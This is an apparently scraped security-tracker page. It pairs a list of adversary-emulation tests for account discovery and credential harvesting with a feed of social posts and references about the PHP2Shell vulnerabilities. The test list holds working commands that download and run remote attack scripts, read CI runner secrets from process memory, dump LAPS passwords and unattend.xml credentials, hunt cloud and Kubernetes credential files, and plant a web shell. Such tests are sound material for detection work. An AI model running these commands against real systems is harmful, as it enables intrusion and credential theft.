T1087.002
Adfind - Enumerate Active Directory Admins
Windows
CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Admin accounts
reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
T1087.002
Adfind - Enumerate Active Directory Exchange AD Objects
Windows
CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Exchange Objects
reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
T1087.002
Adfind - Enumerate Active Directory User Objects
Windows
CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory User Objects
reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
T1087.002
Adfind -Listing password policy
Windows
CMD
Adfind tool can be used for reconnaissance in an Active directory environment. The example chosen illustrates adfind used to query the local password policy.
reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
T1087.002
Automated AD Recon (ADRecon)
Windows
PowerShell
ADRecon extracts and combines information about an AD environement into a report. Upon execution, an Excel file with all of the data will be generated and its
path will be displayed.
Command (PowerShell)
Invoke-Expression "#{adrecon_path}"
T1087.002
Enumerate Active Directory Users with ADSISearcher
Windows
PowerShell
The following Atomic test will utilize ADSISearcher to enumerate users within Active Directory.
Upon successful execution a listing of users will output with their paths in AD.
Reference:...
Command (PowerShell)
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
T1087.002
Enumerate Active Directory Users with csvde
Windows
CMD
The following test uses csvde.exe to export a list of Active Directory users and their properties to a CSV file.
Command (CMD)
csvde -f users.csv -r "(&(objectClass=user)(objectCategory=person))" -l "DN,sAMAccountName,userPrincipalName,mail,displayName,description,memberOf"
T1087.002
Enumerate Active Directory for Unconstrained Delegation
Windows
PowerShell
Attackers may attempt to query for computer objects with the UserAccountControl property
'TRUSTED_FOR_DELEGATION' (0x80000;524288) set
More Information -...
Command (PowerShell)
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
T1087.002
Enumerate Default Domain Admin Details (Domain)
Windows
CMD
This test will enumerate the details of the built-in domain admin account
Command (CMD)
net user administrator /domain
T1087.002
Enumerate Linked Policies In ADSISearcher Discovery
Windows
PowerShell
The following Atomic test will utilize ADSISearcher to enumerate organizational unit within Active Directory.
Upon successful execution a listing of users will output with their paths in AD.
Reference:...
Command (PowerShell)
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
T1087.002
Enumerate Root Domain linked policies Discovery
Windows
PowerShell
The following Atomic test will utilize ADSISearcher to enumerate root domain unit within Active Directory.
Upon successful execution a listing of users will output with their paths in AD.
Reference:...
Command (PowerShell)
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
T1087.002
Enumerate all accounts (Domain)
Windows
CMD
Enumerate all accounts
Upon exection, multiple enumeration commands will be run and their output displayed in the PowerShell session
Command (CMD)
net user /domain
net group /domain
T1087.002
Enumerate all accounts via PowerShell (Domain)
Windows
PowerShell
Enumerate all accounts via PowerShell. Upon execution, lots of user account and group information will be displayed.
Command (PowerShell)
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
T1087.002
Enumerate logged on users via CMD (Domain)
Windows
CMD
Enumerate logged on users. Upon exeuction, logged on users will be displayed.
Command (CMD)
query user /SERVER:#{computer_name}
T1087.002
Get-DomainUser with PowerView
Windows
PowerShell
Utilizing PowerView, run Get-DomainUser to identify the domain users. Upon execution, Users within the domain will be listed.
Command (PowerShell)
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
T1087.002
Kerbrute - userenum
Windows
PowerShell
Enumerates active directory usernames using the userenum function of Kerbrute
Command (PowerShell)
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
T1087.002
Suspicious LAPS Attributes Query with Get-ADComputer all properties
Windows
PowerShell
This test executes LDAP query using powershell command Get-ADComputer and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
Get-ADComputer #{hostname} -Properties *
T1087.002
Suspicious LAPS Attributes Query with Get-ADComputer all properties and SearchScope
Windows
PowerShell
This test executes LDAP query using powershell command Get-ADComputer with SearchScope as subtree and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
T1087.002
Suspicious LAPS Attributes Query with Get-ADComputer ms-Mcs-AdmPwd property
Windows
PowerShell
This test executes LDAP query using powershell command Get-ADComputer and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
T1087.002
Suspicious LAPS Attributes Query with adfind all properties
Windows
PowerShell
This test executes LDAP query using adfind command and lists all the attributes including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
T1087.002
Suspicious LAPS Attributes Query with adfind ms-Mcs-AdmPwd
Windows
PowerShell
This test executes LDAP query using adfind command and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
T1087.002
Wevtutil - Discover NTLM Users Remote
Windows
PowerShell
This test discovers users who have authenticated against a Domain Controller via NTLM.
This is done remotely via wmic and captures the event code 4776 from the domain controller and stores the ouput in C:\temp. [Reference](https://www.reliaquest.com/blog/socgholish-fakeupdates/)
Command (PowerShell)
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
T1087.002
WinPwn - generaldomaininfo
Windows
PowerShell
Gathers general domain information using the generaldomaininfo function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
T1505.003
Web Shell Written to Disk
Windows
CMD
This test simulates an adversary leveraging Web Shells by simulating the file modification to disk.
Idea from APTSimulator.
cmd.aspx source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx
Command (CMD)
xcopy /I /Y "#{web_shells}" #{web_shell_path}
T1552.001
Access Drone CI Config File
Linux, macOS
Shell
Find Drone CI configuration files (.drone.yml), which may contain credentials, secrets, or sensitive environment variables used in Drone CI/CD pipelines.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
Access Gitlab CI Config File
Linux, macOS
Shell
Find GitLab CI configuration files (.gitlab-ci.yml), which may contain credentials, secrets, or sensitive environment variables.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
Access Jenkinsfile
Linux, macOS
Shell
Find Jenkinsfiles, which may contain credentials, secrets, or sensitive environment variables used in Jenkins CI/CD pipelines.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
Access Travis CI Config File
Linux, macOS
Shell
Find Travis CI configuration files (.travis.yml), which may contain credentials, secrets, or sensitive environment variables.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
Access unattend.xml
Windows
CMD
Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored.
If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001
Dump GitHub Actions Runner Environment Variables from procfs
Linux
Bash
Locates GitHub Actions runner processes (Runner.Worker, Runner.Listener, runsvc, run.sh)
and reads their environment variables from /proc/<pid>/environ, filtering for keys
containing "env" or "ssh". This mirrors TeamPCP malware behavior that harvests
credentials and secrets...
Command (Bash)
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
T1552.001
Extract Browser and System credentials with LaZagne
macOS
Bash
Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001
Extract passwords with grep
Linux, macOS
Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001
Extracting passwords with findstr
Windows
PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001
Find .env Files Containing Application Credentials
Linux, macOS
Shell
Searches common web application and service directories for .env files
(.env, .env.local, .env.production, .env.development, .env.staging) that may
contain credentials such as API keys, database passwords, and service secrets.
Adversaries targeting web servers or...
Command (Shell)
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
T1552.001
Find AWS credentials
Linux, macOS
Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
T1552.001
Find Azure credentials
Linux, macOS
Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
Find Docker credentials
Linux, macOS
Shell
Find local Docker credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
Find GCP credentials
Linux, macOS
Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
Find HashiCorp Vault token files
Linux, macOS
Shell
Find HashiCorp Vault token files (~/.vault-token), which contain plaintext Vault tokens that grant access to secrets stored in Vault.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
Find Kubernetes cluster configuration files
Linux
Shell
Privileged
Find Kubernetes configuration files requiring root privileges, including the root user kubeconfig (~/.kube/config) and cluster-level configuration files in /etc/kubernetes/. These files contain API server addresses, client certificates, and bearer tokens that grant access to...
Command (Shell)
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
T1552.001
Find Kubernetes user configuration files
Linux, macOS
Shell
Find Kubernetes user configuration files (~/.kube/config), which contain API server addresses, client certificates, and bearer tokens that grant access to the Kubernetes cluster. Defaults to using / as the search path.
Command (Shell)
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
T1552.001
Find OCI credentials
Linux, macOS
Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001
Find Terraform credential files
Linux, macOS
Shell
Find Terraform credential files which may contain sensitive values such as API keys, passwords, and infrastructure secrets. Searches for both terraform.tfvars and terraform.tfstate.
Command (Shell)
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
T1552.001
Find and Access Github Credentials
Linux, macOS
Shell
Find .netrc files, which store GitHub credentials in clear text, and dump their contents if found.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
Find database credential files
Linux, macOS
Shell
Find user-level database credential files. Examples include ~/.pgpass, ~/.my.cnf, and ~/.mongorc.js.
Command (Shell)
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
T1552.001
Find npm registry credential files
Linux, macOS
Shell
Find .npmrc files, which may contain plaintext npm registry authentication tokens.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
Find system database configuration files
Linux
Shell
Privileged
Find system-level database configuration files (/etc/mysql/my.cnf, /etc/redis/redis.conf) which may contain credentials. Requires root privileges.
Command (Shell)
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
T1552.001
List Credential Files via Command Prompt
Windows
CMD
Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001
List Credential Files via PowerShell
Windows
PowerShell
Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001
Search for Git Credential Files
Linux, macOS
Shell
Searches the specified directory for a git credential file, which
may contain plaintext credentials, access tokens, or credential helper
configurations. Example files include .git-credentials and .gitconfig.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials
Windows
PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
T1552.001
WinPwn - SessionGopher
Windows
PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001
WinPwn - Snaffler
Windows
PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001
WinPwn - passhunt
Windows
PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001
WinPwn - powershellsensitive
Windows
PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001
WinPwn - sensitivefiles
Windows
PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutputDetection & Response Rules
No detection or response rules found for this CVE.
News (1)
Mentions (50)
819 mentions from 667 sources in the last 7 days BuzzFactor 100 / 100
-
social bsky.app @tommiy-memo.bsky.social 2026-10-22 10:39 UTC#後で読む 用メモです→ AWS WAF を使用した PHP2Shell RCE 脆弱性 (CVE-2026-109618 および CVE-2026-109619) の緩和策Open source
-
social bsky.app @topiatsume.bsky.social 2026-10-22 10:32 UTC💻 【緊急】PHPの重大脆弱性2件(CVE-2026-109618 / 109619)を安全にアップデートする方法 PHP公式は2026年10月21日に、認証なしでリモートコード実行可能な重大な脆弱性2件(CVE-2026-109618 / 109619)の修正版を公開した。 ・PHP 8.5.12 / 8.4.27 / 8.3.36 / 8.2.35で修正 📰 4媒体が報道: Qiita・IPA（情報処理推進機構） ほか ▶ 各社の報道を比べる topiatsume.pa…Open source
-
social bsky.app @vwaimlessly.bsky.social 2026-10-22 10:18 UTCimportant PHP exploit being discussed is php2shell, which targets critical PHP runtime bugs CVE-2026-109618 and CVE-2026-109619 to enable unauthenticated remote code execution and memory/data exposure using specially crafted HTTP requests.Open source
-
social bsky.app @blackhatnews.tokyo 2026-10-22 10:16 UTCPHP2Shell、脆弱性公表の4日前にAmazonが悪用の試みを検知 Amazonによると、プログラミング言語PHPの2件の重大な脆弱性を悪用しようとする動きが、脆弱性の公表より4日前に確認されていました。現在、これらの脆弱性は大規模に悪用されています。 脆弱性は「CVE-2026-109618」と「CVE-202Open source
-
social bsky.app @arc-codex.com 2026-10-22 10:13 UTCCritical PHP Vulnerability (CVE-2026-109618, CVE-2026-109619) [infocon yellow], (Wed, Oct 21st) This article frames the issue primarily as a patching race, yet it minimizes the systemic risk by focusing heavily on immediate technical worka…Open source
-
social news.ycombinator.com petecooper 2026-10-22 10:11 UTCTell HN: I unknowingly broke the PHP RCE embargo. I am sorry.Open source
-
social swecyb.com @116080658609901341 2026-10-22 10:01 UTC(security.com) PHP2Shell: Critical Unauthenticated Remote Code Execution Vulnerabilities in PHP Runtime Demand Immediate Patching In brief - This article details two critical vulnerabilities in the PHP runtime, collectively known as PHP2Sh…Open source
-
social bsky.app @nao-seike.bsky.social 2026-10-22 09:59 UTC【対応報告】PHP の緊急脆弱性 (CVE-2026-109618 / 109619) 当社が保守する API 3 台 (PHP 8.1、公式の修正なし) を、公開翌日の 10/22 に配布元の修正版へ更新しました。停止は再起動の数秒です。 影響範囲の切り分けと、止めずに更新した判断の順番を記事にしています。 https://caster-applications.com/blog/php-cve-2026-10-response/?utm_source=bluesky&u…Open source
-
social bsky.app @infosecbot.bsky.social 2026-10-22 09:53 UTC"High Fidelity Detection Mechanism for #php2shell (CVE-2026-109618 and CVE-2026-109619)" by @SLCyberSec Blog https:// slcyber.io/research/high- fidelity-detection-mechanism-for-php2shell-cve-2026-109618-and-cve-2026-109619… — from @cyb3rop…Open source
-
social bsky.app @hacker.at.thenote.app 2026-10-22 09:48 UTCPHP2Shell: Critical PHP vulnerabilities patched, update now! The PHP development team has released emergency security updates to fix PHP2Shell, two critical vulnerabilities (CVE-2026-109618 and CVE-2026-109619) that could let attackers exe…Open source
-
social bsky.app @undercodenews.bsky.social 2026-10-22 09:45 UTCPHP2Shell: Two Critical PHP Vulnerabilities Could Let Attackers Execute Commands Without Authentication + Video Introduction: A Serious Warning for PHP Administrators Two critical vulnerabilities in PHP’s core runtime, identified as CVE-20…Open source
-
social mastodon.social @hacksgr 2026-10-22 09:43 UTCAmazon Threat Intelligence and security firms detected exploit attempts targeting PHP core flaws CVE-2026-109618 and CVE-2026-109619. The CVSS 9.2 rated vulnerabilities allow pre-authentication remote code execution across PHP 7.x and 8.x…Open source
-
social bsky.app @ubuntutr.bsky.social 2026-10-22 09:40 UTCphp2shell Güvenlik Açığı: PHP İçin Kritik Yama Yayınlandı (CVE-2026-109618 ve CVE-2026-109619) https://www.ubuntu.org.tr/php2shell-guvenlik-acigi-php-icin-kritik-yama-yayinlandi-cve-2026-109618-ve-cve-2026-109619/Open source
-
social bsky.app @crawler.baldanders.info 2026-10-22 09:40 UTC＞ 注意喚起: PHPにおける複数の脆弱性（CVE-2026-109618、CVE-2026-109619）に関する注意喚起 (公開) https://www.jpcert.or.jp/at/2026/at260033.htmlOpen source
-
social bsky.app @crawler.baldanders.info 2026-10-22 09:40 UTC＞ PHPの脆弱性対策について(CVE-2026-109618、CVE-2026-109619：PHP2shell) https://www.ipa.go.jp/security/security-alert/2026/alert20261022.htmlOpen source
-
social bsky.app @ceo.com.pl 2026-10-22 09:26 UTCDwie krytyczne podatności w PHP wywołały alarm w europejskich instytucjach publicznych. Serwisy administracji państwowej w Niemczech, Francji i Holandii były czasowo odłączane od internetu, aby ograniczyć ryzyko cyberataków. Luki CVE-2026-…Open source
-
social bsky.app @hendryadrian.bsky.social 2026-10-22 09:24 UTCPHP released emergency fixes for two critical RCE flaws, CVE-2026-109618 and CVE-2026-109619. Agencies urged operators to patch or take sites offline; three darknet forums reportedly shut down while awaiting updates.Open source
-
code gist.github.com amoerke 2026-10-22 09:24 UTC# PHP-Sicherheitslücken vorbeugen > Es gibt bei PHP folgende Sicherheitslücken. Welche Codetechnischen Möglichkeiten habe ich hier um präventiv was zu machen: > > [https://cert.europa.eu/publications/security-advisories/2026-018](https://c…Open source
-
code github.com SanWRoot 2026-10-22 09:20 UTCSanWRoot/php2shell-LAB-POC-Open source
-
social bsky.app @ahmandonk.bsky.social 2026-10-22 09:19 UTC📰 Tim Pengembang PHP Rilis Patch Darurat untuk Atasi Celah Kritis PHP2Shell (CVE-2026-109618 & CVE-2026-109619) 👉 Baca artikel lengkap di sini: https://ahmandonk.com/2026/10/22/php-rilis-patch-darurat-celah-kritis-php2shell/ #apache #celah…Open source
-
code github.com KadkinRoman 2026-10-22 09:16 UTCKadkinRoman/php84-migration-reportOpen source
-
social bsky.app @cross-clover.info 2026-10-22 09:14 UTCSuiteXは7系と5系のWebページのアクセス止めるみたい？だね まあリスクの方が大きいという判断でしょう help.arena.ne.jp/hc/ja/articl...Open source
-
code github.com gei-git 2026-10-22 09:14 UTCgei-git/php2shell-pocOpen source
-
social bsky.app @jernej--s.infosec.exchange.ap.brid.gy 2026-10-22 09:13 UTC@hrbrmstr Looks like updates for pfSense (CE) are available, but you have to go through command line: https://forum.netgate.com/post/1250412Open source
-
social bsky.app @hendryadrian.bsky.social 2026-10-22 09:12 UTCPHP released fixes for two critical, unauthenticated core RCE flaws, CVE-2026-109618 and CVE-2026-109619. The article details affected versions, exposure-reduction measures, detection, and why updating is the only complete mitigation.Open source
-
code github.com Bluefire-Redteam-Cybersecurity 2026-10-22 09:12 UTCBluefire-Redteam-Cybersecurity/bluefire-php2shell-guardOpen source
-
social bsky.app @zonbonbun.bsky.social 2026-10-22 09:11 UTC【重要】PHPの脆弱性に関する当社の対応状況について | さくらインターネット www.sakura.ad.jp/corporate/in...Open source
-
code github.com hugo8xx 2026-10-22 09:05 UTChugo8xx/php2shell-wafOpen source
-
code github.com CVEChecker26 2026-10-22 09:04 UTCCVEChecker26/dydOpen source
-
social bsky.app @ytroncal.bsky.social 2026-10-22 09:02 UTCFailles critiques PHP2Shell (CVE-2026-109618, CVE-2026-109619) : comprendre, corriger, suivre les correctifs loud-technology.com/insight/fail...Open source
-
code github.com runasy-koonta 2026-10-22 09:02 UTCrunasy-koonta/php2shell-7.4.33-pocOpen source
-
social news.ycombinator.com ardacinar 2026-10-22 09:01 UTCThere isn't an easy exploit for this PHP vulnerabilityOpen source
-
social bsky.app @hendryadrian.bsky.social 2026-10-22 09:00 UTCCrowdStrike details two PHP flaws, CVE-2026-109618 and CVE-2026-109619, that can enable unauthenticated command execution through crafted HTTP requests. It recommends patching and describes Falcon detection coverage.Open source
-
social bsky.app @newsfr.bsky.social 2026-10-22 08:59 UTCDeux failles critiques dans PHP (CVE-2026-109618/109619) détectées par IA ont mis des milliers de sites hors-ligne par précaution. PHP alimente ~70% du Web; vulnérabilités exposent fichiers/BD. risquéOpen source
-
social bsky.app @codeclove.bsky.social 2026-10-22 08:59 UTCcodeclove.com/php2shell-wo...Open source
-
code github.com violensoul 2026-10-22 08:59 UTCviolensoul/php2shell-sigmaOpen source
-
code github.com ronoski 2026-10-22 08:57 UTCronoski/php2shell-detectOpen source
-
code github.com securin-public 2026-10-22 08:57 UTCsecurin-public/php2shell-checkerOpen source
-
social bsky.app @clemisan.bsky.social 2026-10-22 08:55 UTCGenauer: Sicherheitsupdate für die kritischen Sicherheitslücken CVE-2026-109618 und CVE-2026-109619Open source
-
social bsky.app @codeclove.bsky.social 2026-10-22 08:54 UTCIf your web host just warned you about PHP2Shell (CVE-2026-109618), do not panic. You can close the vulnerability in 60 seconds with one config line without taking your site down: session.upload_progress.enabled = OffOpen source
-
social bsky.app @bysena.bsky.social 2026-10-22 08:54 UTCA quick reality check on the core PHP vulns #PHP2Shell / CVE-2026-109618 & 109619). Yes, they are categorized as critical and affect a massive chunck of the web. But emergency shutdowns and full-scale panic? A bit exaggerated.Open source
-
code gist.github.com riraso 2026-10-22 08:53 UTC#!/bin/bash # Mitigation for CVE-2026-109618 / CVE-2026-109619 (PHP RCE, Oct 21 2026) on panels that ship # their own PHP build (Xtream Codes, StreamCreed, XUI, ...) and cannot simply be upgraded. # # It does NOT patch PHP. It applies the…Open source
-
code github.com h3r2ym 2026-10-22 08:53 UTCh3r2ym/Check-PHP-Docker-CVE-2026-109618---109619Open source
-
code github.com mspiq 2026-10-22 08:52 UTCmspiq/php2shell-scannerOpen source
-
social bsky.app @obivan.infosec.exchange.ap.brid.gy 2026-10-22 08:51 UTCAssetnote published php2shell scanner https://github.com/assetnote/php2shell-scannerOpen source
-
code github.com mekhalleh 2026-10-22 08:48 UTCmekhalleh/php2shell-advisoryOpen source
-
social bsky.app @mop-dev.bsky.social 2026-10-22 08:48 UTCPHP2Shell: two critical holes in PHP itself (CVSS 9.2), leaked early, patched 21 Oct. One unauthenticated request can take a mod_php server. Update to 8.5.12, 8.4.27, 8.3.36 or 8.2.35; a WordPress update won't cover it. My sites run on Rus…Open source
-
advisory isc.sans.edu 2026-10-22 08:44 UTCSANS ISC: Critical PHP Vulnerability (CVE-2026-109618, CVE-2026-109619) [infocon yellow], (Wed, Oct 21st)Open source
-
code gist.github.com liucoj 2026-10-22 08:43 UTC#!/usr/bin/env bash # # php2shell-triage.sh # Read-only triage for PHP2Shell (CVE-2026-109618 / CVE-2026-109619). # It checks whether your PHP build was in the vulnerable range and looks for # the few signals an exploitation attempt tends…Open source
-
code github.com latadeloco 2026-10-22 08:41 UTClatadeloco/agent-php2shellOpen source
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-109618 |
| github.com |
GitHub CVE
vendor-advisory
|
https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w |
| openwall.com |
NVD API
|
http://www.openwall.com/lists/oss-security/2026/10/21/6 |
| wiz.io |
NVD API
Third Party Advisory
|
https://www.wiz.io/blog/php2shell-php-rce |